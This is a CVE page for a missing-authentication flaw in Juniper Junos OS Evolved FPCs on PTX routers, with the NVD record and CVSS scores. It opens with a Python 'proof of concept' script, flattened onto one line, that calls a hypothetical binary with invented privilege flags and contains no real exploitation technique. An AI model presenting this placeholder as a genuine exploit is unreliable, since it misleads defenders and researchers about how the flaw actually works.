CVE-2026-33788

# Proof of Concept for CVE-2026-33788 # This script demonstrates a conceptual exploit for the Missing Authentication vulnerability. # It simulates a local low-privileged user gaining direct access to FPC functions. import subprocess import sys def exploit_cve_2026_33788(): target_binary = "/usr/sbin/fpc_control" # Hypothetical path print("[+] Attempting to exploit CVE-2026-33788...") print(f"[+] Targeting: {target_binary}") # In a real scenario, the attacker would invoke the specific function # that lacks authentication checks. try: # Simulating command execution that requires high privileges # but is accessible due to the vulnerability. result = subprocess.run( [target_binary, "--direct-access", "--privileged-mode"], capture_output=True, text=True, timeout=5 ) if result.returncode == 0: print("[!] Exploit successful! Gained access to FPC.") print(f"[!] Output: {result.stdout}") else: print("[-] Exploit failed or patch applied.") print(f"[-] Error: {result.stderr}") except FileNotFoundError: print("[-] Target binary not found on this system.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) > 1 and sys.argv[1] == "--check": print("Checking environment...") exploit_cve_2026_33788()

{"cve": {"id": "CVE-2026-33788", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:28.593", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Missing Authentication for Critical Function vulnerability in the Flexible PIC Concentrators (FPCs) of Juniper Networks Junos OS Evolved on PTX Series allows a local, authenticated attacker with low privileges to gain direct access to FPCs installed in the device.\n\nA local user with low privileges can gain direct access to the installed FPCs as a high privileged user, which can potentially lead to a full compromise of the affected component.\n\nThis issue affects Junos OS Evolved on PTX10004, PTX10008, PTX100016, with JNP10K-LC1201 or JNP10K-LC1202:\n\n\n\n\n * All versions before 21.2R3-S8-EVO,\n * 21.4-EVO versions before 21.4R3-S7-EVO,\n * 22.2-EVO versions before 22.2R3-S4-EVO,\n * 22.3-EVO versions before 22.3R3-S3-EVO,\n * 22.4-EVO versions before 22.4R3-S2-EVO,\n * 23.2-EVO versions before 23.2R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://kb.juniper.net/JSA107806", "source": "[email protected]"}]}}